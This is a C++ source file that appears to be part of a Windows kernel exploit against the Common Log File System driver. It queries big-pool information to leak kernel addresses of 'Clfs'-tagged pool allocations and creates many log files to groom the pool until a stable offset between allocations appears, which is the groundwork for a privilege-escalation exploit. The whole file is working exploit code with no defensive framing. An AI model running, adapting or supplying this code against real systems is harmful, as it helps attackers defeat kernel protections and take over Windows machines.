getOffset.cpp

#include "getOffset.h"

int stableOffsetHits = 0, trackClfsPoolCount = 0;
PUINT64 kernelAddrArray = NULL;
UINT64 candidatePoolOffset = 0, prevClfsPoolAddr = 0, lastClfsPoolAddr = 0, absPoolDelta = 0;

// avoid to duplicate address
bool isAddressTrack(UINT64 addr) {
	for (UINT i = 0; i < trackClfsPoolCount; i++) {
		if (kernelAddrArray[i] == addr)
			return true;
	}
	return false;
}

void getBigPoolInfo(PUINT64 outNewClfsPoolAddr) {
	PSYSTEM_BIGPOOL_INFORMATION buffer = NULL;
	ULONG bufferSize = 0x1000, retlen = 0;
	NTSTATUS status;

	// request retlen needed
	while (1) {
		buffer = (PSYSTEM_BIGPOOL_INFORMATION)VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
		if (buffer == NULL) {
			puts("[-] Alloc buffer failed");
			return;
		}

		status = NtQuerySystemInformation(SystemBigPoolInformation, buffer, bufferSize, &retlen);
		// bufferSize small
		if (status != STATUS_INFO_LENGTH_MISMATCH) {
			break;
		}

		VirtualFree(buffer, 0, MEM_RELEASE);
		buffer = NULL;
		bufferSize = retlen;
	}

	if (!NT_SUCCESS(status)) {
		printf("[-] Query system information failed, error: 0x%x\n", GetLastError());
		VirtualFree(buffer, 0, MEM_RELEASE);
		buffer = NULL;
		return;
	}

	if (kernelAddrArray == NULL) {
		kernelAddrArray = (PUINT64)calloc(buffer->Count, sizeof(UINT64));

		if (kernelAddrArray == NULL) {
			puts("[-] calloc failed");
			VirtualFree(buffer, 0, MEM_RELEASE);
			buffer = NULL;
			return;
		}
	}

	BOOL foundNewClfsPool = FALSE;

	for (ULONG i = 0; i < buffer->Count; i++) {
		PSYSTEM_BIGPOOL_ENTRY entry = &buffer->AllocatedInfo[i];

		UINT64 poolAddr = (UINT64)entry->VirtualAddress;

		// clear bit 0 to get kernel address (bit 0 is flag NonPaged)
		poolAddr &= ~1ULL;

		if (entry->SizeInBytes != 0x7a00)
			continue;
		if (memcmp(entry->Tag, "Clfs", 4) != 0)
			continue;
		if (isAddressTrack(poolAddr))
			continue;

		kernelAddrArray[trackClfsPoolCount++] = poolAddr;
		//printf("[+] Found new CLFS pool: 0x%llx\n", poolAddr);

		if (outNewClfsPoolAddr) {
			*outNewClfsPoolAddr = poolAddr;
		}

		foundNewClfsPool = TRUE;
		break;
	}

	VirtualFree(buffer, 0, MEM_RELEASE);
	buffer = NULL;

	if (!foundNewClfsPool) {
		printf("[-] No new CLFS pool found\n");
		return;
	}
}

static UINT64 calcAbsDelta(UINT64 a, UINT64 b) {
	return (a > b) ? (a - b) : (b - a);
}

void getOffsetPool() {
	// Log_xxx.blf
	LPCWSTR path1 = L"LOG:C:\\Users\\Public\\Log";
	wchar_t path_tmp[MAX_PATH];
	UINT64 newClfsPoolAddr = NULL;
	PUINT64 pNewClfsPoolAddr = &newClfsPoolAddr;
	HANDLE logHandle = INVALID_HANDLE_VALUE;
	stableOffsetHits = 0;
	candidatePoolOffset = 0;
	prevClfsPoolAddr = NULL;
	lastClfsPoolAddr = NULL;

	srand((unsigned int)time(NULL));

	while (stableOffsetHits < 5) {
		memset(path_tmp, 0, sizeof(path_tmp));

		int num = rand();
		swprintf(path_tmp, MAX_PATH, L"%ls_%d", path1, num);
		logHandle = CreateLogFile(path_tmp, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, NULL);
		if (logHandle == INVALID_HANDLE_VALUE) {
			wprintf(L"[-] Failed to create %ls, error = %d\n", path_tmp, GetLastError());
			return;
		}

		// avoid to lost logHandle because call CreateLogFile
		if (logHandleCount < 1024) {
			logHandles[logHandleCount++] = logHandle;
		}
		else {
			puts("[-] Too many handle");
			return;
		}

		// store last CLFS pool
		prevClfsPoolAddr = lastClfsPoolAddr;

		// scan big pool
		newClfsPoolAddr = NULL;
		getBigPoolInfo(pNewClfsPoolAddr);
		if (newClfsPoolAddr == NULL) {
			puts("[-] getBigPoolInfo did not return new CLFS pool address");
			return;
		}

		// update CLFS pool
		lastClfsPoolAddr = newClfsPoolAddr;
		//printf("[+] New CLFS pool: 0x%llx\n", newClfsPoolAddr);

		// first pool
		if (!prevClfsPoolAddr)
			continue;

		// offset between 2 pool
		absPoolDelta = calcAbsDelta(newClfsPoolAddr, prevClfsPoolAddr); // can't use abs because 2 arg is UINT64
		//printf("[+] Pool delta: 0x%llx\n", absPoolDelta);

		if (!candidatePoolOffset) {
			candidatePoolOffset = absPoolDelta;
			stableOffsetHits = 0;

			//printf("[+] Set candidate pool offset: 0x%llx\n", candidatePoolOffset);
			continue;
		}

		if (candidatePoolOffset == absPoolDelta) {
			++stableOffsetHits;
			//printf("[+] Stable hit: %d/5\n", stableOffsetHits);
		}
		else {
			candidatePoolOffset = absPoolDelta;
			stableOffsetHits = 0;
			//printf("[+] New candidate pool offset: 0x%llx\n", candidatePoolOffset);
		}
	}

	printf("[+] Pool offset found: 0x%llx\n", candidatePoolOffset);

	Sleep(500);
	fflush(stdout);
}